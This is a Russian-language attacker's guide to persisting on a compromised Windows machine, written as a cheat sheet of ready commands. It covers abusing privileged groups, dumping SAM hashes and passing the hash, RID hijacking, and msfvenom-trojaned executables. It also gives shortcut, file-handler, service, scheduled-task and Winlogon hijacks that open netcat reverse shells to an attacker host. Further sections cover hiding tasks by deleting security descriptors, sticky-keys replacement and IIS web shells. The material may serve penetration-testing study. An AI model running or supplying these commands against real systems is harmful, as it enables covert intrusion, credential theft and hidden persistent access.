Перейти к содержанию

Закрепление в Windows

После получения первоначального доступа к скомпроментированной машине, нужно предусмотреть способы закрепления на ней - оставить бэкдор, для того, чтобы была возможность подключится к машине минуя, в терминах Cyber Kill Chain, Exploitation фазу

Ниже перечисленны различные способы закрепления.

Имей в виду

Все нижеперечисленные методы довольно просто реализовать только на тех системах, которые не имеют нормальной защиты. Под нормальной подразумевается хотя бы наличие EDR и маломальского мониторинга событий безопасности: работа с локальными группами/учётками, доступ к реестру и т.д.

Кроме того, следует иметь в виду, что все действия выполняются от Административной учётки, так как подразумевается, что такой доступ к системе уже имеется, задача состоит в закреплении.

Модификация неадминистративных аккаунтов

Модификация простых учётных записей позволит наделить их административными привилегиями не привлекая к себе дополнительного внимания. Далее различные способы осуществления вышесказанного.

Добавление в локальные группы

Наиболее очевидный и самый топорный способ добавить в группу локальных администраторов, который позволит подключаться по RDP и использовать WMI:

Добавление в группу локальных администраторов
C:\> net localgroup administrators hacked_user /add

Добавление в группу Backup Operators не позволит подключаться по RDP и WMI, однако даст возможность получить доступ к любому файлу или ветке реестра в системе минуя DACL

Добавление в группу Backup Operators
C:\> net localgroup "Backup Operators" hacked_user /add
Учётка будет добавлена, однако по умолчанию, группа Backup Operators отключена. Для её включения нужно изменить следующий ключ в реестре:

Включение группы Backup Operators
C:\> reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /t REG_DWORD /v LocalAccountTokenFilterPolicy /d 1

Для того, чтобы появилась возможность подключаться с такой учёткой по RDP или WMI, нужно добавить её в соответствующую группу:

Добавление в группу Remote management users
C:\> net localgroup "Remote Management Users" hacked_user /add

Пример с добавлением в группу Backup Operators

Предположим, что hacked_user уже добавлен в группы Backup Operators и Remote Managment Users и соответствующие ключи реестра установлены в нужные значения.

Использование Backup Operators для получения хэшей
# Подключаемся через evil-winrm к целевой машине
evil-winrm -i 10.10.10.10 -u hacked_user -p Pas5w0rd

# Получаем и скачиваем ключи реестра с хэшами паролей
C:\> reg save hklm\system system.bak
C:\> reg save hklm\sam sam.bak
C:\> download system.bak
C:\> download sam.bak

# Запускаем secretdump.py из impacket для дампа хэшей 
python3.9 /opt/impacket/examples/secretsdump.py -sam sam.bak -system system.bak LOCAL    

# Подключаемся к целевой машине через атаку Path-The-Hash
evil-winrm -i 10.10.10.10 -u Administrator -H 1cra18he6653f69e97034a4cb4ddbcc6

Специальные привилегии и дескрипторы безопасности

Результат похожий на добавление учётки в специальную группу можно достичь и другим путём - назначением учётке специальных привилегий

Интересовать нас будут: SeBackupPrivilege и SeRestorePrivilege Для назначения особых привилегий пользователю можно воспользоваться командой secedit. С её помощью можно выгрузить конфигурационный файл в котором назначаются привилегии:

secedit /export /cfg config.inf
после чего, нужно будет просто добавить через запятую (без пробела) нужного пользователя в строке с желаемыми привилегиями.

Далее, нужно вернуть импортировать новый конфиг и залить его в систему:

secedit /import /cfg config.inf /db config.sdb
secedit /configure /db config.sdb /cfg config.inf
После вышеописанных манипуляция, пользователь будет обладать привелегиями SeBackupPrivilege и SeRestorePrivilege, что эквивалентно его нахождению в группе Backup Operators, однако пользователь всё же не сможет работать через WMI. Конечно, пользователя можно было бы добавить в группу Remote Management Users, однако есть более изящный пример, заключающийся в изменении параметров дескрипторов безопасности Powershell:

Открытие окна изменения дескрипторов безопасности Powershell
Set-PSSessionConfiguration -Name Microsoft.PowerShell -showSecurityDescriptorUI
выдав нужному пользователю Full Control пользователь получит возможность подключатся через WMI.

Помни!

Нужно не забывать, что для того, чтобы специальные привилегии работали должным образом нужно изменить параметр реестра LocalAccountTokenFilterPolicy

В итоге, если проверить изменённого таким образом пользователя без пристрастия - получим рядовую учётку не состоящую ни в каких подозрительных группах.

Подмена RID

Способ заключается в подмене некоторых ключей реестра таким образом, что Windows будет считать простого пользователя администратором.

Как известно, локальный администратор имеет RID=500, простые пользователи имеют RID >= 1000. Для просмотра значений RID можно воспользоваться следующей командой wmic:

Просмотр RID
wmic useraccount get name,sid

Name                SID
Administrator       S-1-5-21-1966530601-3185510712-10604624-500
DefaultAccount      S-1-5-21-1966530601-3185510712-10604624-503
Guest               S-1-5-21-1966530601-3185510712-10604624-501
ordinary_user1      S-1-5-21-1966530601-3185510712-10604624-1008
ordinary_user2      S-1-5-21-1966530601-3185510712-10604624-1009
hacked_user         S-1-5-21-1966530601-3185510712-10604624-1010

К сведению

RID - последние 4 бита SID

Для подмены нужно получить доступ к SAM кусту. Сделать это можно запустив regedit через psexec:

C:\sysinternals\psexec64.exe -i -s regedit

Переходим в HKLM\SAM\SAM\Domains\Account\Users\ и находим ключ значение которого соответствует hacked_user RID в шестнадцатиричной системе счисления:

$ python3 -c "print(hex(1010))"
0x3f2
Далее, в ключе 3f2 находим значение F которое на 30 позиции содержит в себе RID записанный в обратном порядке и заменяем его на RID Администратора: RID 500 = 0x0104 -> f401

В итоге, после следующего входа пользователя hacked_user ОС определит его как локального Администратора.

Бэкдоры из приложений

Еще одним способом закрепления является подмена исполяемых файлов с которыми пользователи регулярно взаимодействуют. Существует множество различных способов создания и размещения таких файлов, тут будут описаны лишь некоторые.

Исполняемые файлы

Используя msfvenom можно внедрить payload прямиком в экзешник. В таком случае, внедренный код, например reverse shell, будет выполнятся всякий раз когда будет стартовать заражённый исполняемый файл.

Внедрение reverse shell в исполняемый файл
msfvenom -a x64 --platform windows -x putty.exe -k -p windows/x64/shell_reverse_tcp lhost=$ATTACKER_IP lport=4444 -b "\x00" -f exe -o puttyX.exe

Ярлыки

Другой метод заключается в подмене ярлыка используемого для запуска какого-нибудь исполняемого файла. В поле target (объект) ярлыка можно добавить специальные параметры которые приведут к запуску как исполняемого файла так и бэкдора.

В качестве примера подменим ярлык запуска Калькулятора, заставив его вызывать powershell скрипт который сначала создаст reverse shell, а затем запустит C:\Windows\System32\calc.exe. Предположим, что в директории C:\tools\ у нас уже есть netcat:

backdoor.ps1
# Сначала shell, потом calc
Start-Process -NoNewWindow "c:\tools\nc64.exe" "-e cmd.exe $ATTACKER_IP 4445"
C:\Windows\System32\calc.exe

Осталось только внести изменения в поле target (объект). Добавляем туда следующую строку:

Подмена ярлыка
powershell.exe -WindowStyle hidden C:\Windows\System32\backdoor.ps1

Подмена обработчика расширений файлов

Информация о расширении файлов хранится в ветке реестра HKLM\SOFTWARE\Classes. Каждое расширение содержит информацию о progID (значение Default) - приложение которое открывает это расширение. В этой же ветке содержатся ключи для каждого progID.

В контексте создания бэкдора будет использоваться следующий подключ progID: HKLM\SOFTWARE\Classes\progID\shell\open\command - в нём (в значении Default) хранится команда для вызова соответствующего приложения с необходимыми параметрами.

Например:

Расширение .docx имеет progID = HKLM\SOFTWARE\Classes.docx(Default) = Word.Document.12

Следовательно приложение которое открывает .docx файлы и параметры запуска такого приложения определены в ``` HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Word.Document.12\shell\Open\command(Default) = "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "%1" /o "%u"

Зная об этом, можно поступить по аналогии с ярлыком: написать скрипт который создает reverse shell и только потом открывает приложение - обработчик расширения:

```cmd title="Подмена обработчика расширения"
Start-Process -NoNewWindow "c:\tools\nc64.exe" "-e cmd.exe $ATTACKER_IP 4448"
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n $args[0]

# а потом подменить запись в реестре

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Word.Document.12\shell\Open\command\(Default) = powershell.exe -WindowStyle hidden C:\Windows\System32\backdoor.ps1

Бэкдоры из сервисов

Сервисы (или в рускоязычной терминологии Windows - Службы) отличный инструмент для закрепления в системе. Выполняются они в фоне, не мельтешат окошками, запускаются автоматически - красота!

Банальный пример:

```cmd title= "Админ - Смени пароль" sc.exe create EvilService binPath= "net user Administrator Passwd123" start= auto sc.exe start EvilService

такой сервис будет устанавливать пароль Administrator в Passwd123 при каждой загрузке ОС.


#### Создание нового сервиса - бэкдора

Можно и нужно идти дальше. `msfvenom` предлагает возможность создания исполняемых файлов которые будут работать в качестве сервиса:

```bash title="Создание сервиса"
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$ATTACKER_IP LPORT=4448 -f exe-service -o backdoor.exe
# Осталось отправить файл на машину и положить его куда-нибудь поглубже

Создание сервиса - бэкдора
sc.exe create EvilService binPath= "C:\windows\backdoor.exe" start= auto
sc.exe start EvilService

Подмена существующего сервиса

Как правило, модификация существуюшего сервиса, может быть замечена много позже создания нового. Хорошими кандидатами являются отключенные сервисы - они могут быть изменены без лишних уведомлений.

Поищем такие сервисы:

C:\> sc.exe query state=all
...
ommited
...
# Как правило, отключенный сервис выглядит следующим образом:

SERVICE_NAME: HerbivoreService
DISPLAY_NAME: HerbivoreService
        TYPE               : 10  WIN32_OWN_PROCESS
        STATE              : 1  STOPPED
        WIN32_EXIT_CODE    : 1077  (0x435)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x0


# Расмотрим его подробнее:

C:\> sc.exe qc HerbivoreService
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: HerbivoreService
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2 AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\MyService\HerbivoreService.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : HerbivoreService
        DEPENDENCIES       : 
        SERVICE_START_NAME : NT AUTHORITY\Local Service

Из описания сервиса видно, что запускается он автоматически, запускается от имени пользователя NT AUTHORITY\Local Service. То есть является именно таким сервисом какой нам и нужен. Осталось только подменить бинарник этого сервиса. Для этого создаём бинарник (ранее на этой же странице) и изменяем конфигурацию сервиса:

Подмена бинарника в сервисе
C:\> sc.exe config HerbivoreService binPath= "C:\Windows\backdoor.exe" start= auto obj= "LocalSystem"

# Получим подтверждение о том, что всё прошло успешно:

C:\> sc.exe qc HerbivoreService
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: HerbivoreService
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Windows\backdoor.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : HerbivoreService
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

Готово! Осталось дождаться только запуска сервиса.

Использование Планировщика задач

Планировщик задач - ещё один инструмент который может быть использован в качестве запуска бэкдоров.

Простой пример:

Ежеминутный reverse shell
# Создание задачи которая выполняется каждый час и запускает nc64.exe с нужными параметрами

C:\> schtasks /create /sc hour /mo 1 /tn PeriodicBackdoor /tr "c:\tools\nc64 -e cmd.exe ATTACKER_IP 4449" /ru SYSTEM
SUCCESS: The scheduled task "PeriodicBackdoor" has successfully been created.
Задача создана, ожидайте шелл!

В Windows имеется возможность сделать задачу планировщика скрытой. Тогда зайдя в taskschd.msc такую задачу увидеть не получится. Осуществить такое возможно удалив Security Descriptor (SD) конкретной задачи. SD предстваляет из себя ACL который содержит сведения о правах пользователей на задачу. Следовательно, если пользователю не назначены права на чтение задачи, он её не увидит. Удаление SD задачи скроет её от всех пользователей влючая Администраторов.

Дескрипторы безопасности задач хранятся в HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\ в этой ветке хранятся все имеющиеся задачи. Для удаления значения SD потребуются права уровня SYSTEM, поэтому regedit нужно будет запускать через psexec:

Запуск regedit с SYSTEM правами
C:\> c:\tools\pstools\PsExec64.exe -s -i regedit

В качестве проверки:

C:\> schtasks /query /tn PeriodicBackdoor

ERROR: The system cannot find the file specified.

Вход в систему

Автозагрузка через директорию

Всем известно, что у каждого пользователя имеется директория для запуска приложений по умолчанию - C:\Users\<your_username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup или shell:startup достаточно поместить payload в эту директорию и он будет выполнятся при каждом входу в систему. Кроме того, имеется директория файлы из которой будут запускаться при входе любого пользователя: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp

Автозагрузка через реестр

Также, автоматически запускаемые после входа в систему приложения можно определить в реестре.

Для отдельного пользователя: HKCU\Software\Microsoft\Windows\CurrentVersion\Run HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce

Для всех пользователей: HKLM\Software\Microsoft\Windows\CurrentVersion\Run HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce

В этих ветках нужно определить ключ типа REG_EXPAND_SZ (Расширяемый строковый параметр), обозвать его как нибудь, а в значении указать абсолютный путь до исполняемого файла

Подмена WinLogon

Еще одним путём определения приложений запускаемых при старте является внесение изменений в ветку реестра Winlogon в которой, кроме прочего, определяется окружение рабочего стола при входе в систему (по умолчанию explorer.exe) и приложение ответственное за восстановление настроек профиля пользователя (по умолчанию userinit.exe)

Если просто заменить эти бинарники - сломается корректный процесс входа. Однако, в ключ Userinit` можно добавлять значения через запятую (с пробелом) и они будут корректно обрабатываться! Если поместить туда путь до бинарника с reverse shell, то связь с C2 появится ~ через 10 секунд после входа в систему.

Подмена скриптов WinLogon

В область задач выполняемых userinit.exe входит проверка наличия ключа UserInitMprLogonScript и выполнение скриптов которые заданы в качестве его значения. Этот ключ не задан по умолчанию, поэтому его нужно создать:

reg add HKU\Environment /v UserInitMprLogonScript /t REG_EXPAND_SZ /d C:\Windows\backdoor.exe

Бэкдор в окне входа

В случае если имеется физический доступ к машине (ну или RDP) можно поместить бэкдор в приложения которые вызываются прямо с экрана входа в систему.

Залипание клавиш

За залипание клавиш отвечает C:\Windows\System32\sethc.exe для его подмены нужно стать его владельцем:

Подмена Залипания клавиш
C:\> takeown /f c:\Windows\System32\sethc.exe

SUCCESS: The file (or folder): "c:\Windows\System32\sethc.exe" now owned by user "TESLAB\Administrator".

C:\> icacls C:\Windows\System32\sethc.exe /grant Administrator:F
processed file: C:\Windows\System32\sethc.exe
Successfully processed 1 files; Failed processing 0 files

C:\> copy c:\Windows\System32\cmd.exe C:\Windows\System32\sethc.exe
Overwrite C:\Windows\System32\sethc.exe? (Yes/No/All): yes
        1 file(s) copied.

Специальные возможности

Аналогично можно поступить со "Специальными возможностями", их бинарник расположен в C:\Windows\System32\Utilman.exe

Web Shell для IIS

В случае если на машине запущен IIS сервер, можно просто загрузить туда web shell.

Загрузить web shell всё равно, что оставить бэкдор. Такой бэкдор будет выполнятся от имени IIS который хоть и не наделён Административными правами, но их легко можно получить, так как его учётка обладает привилегией SeImpersonatePrivilege. О том, как эскалировать привилегии можно почитать тут.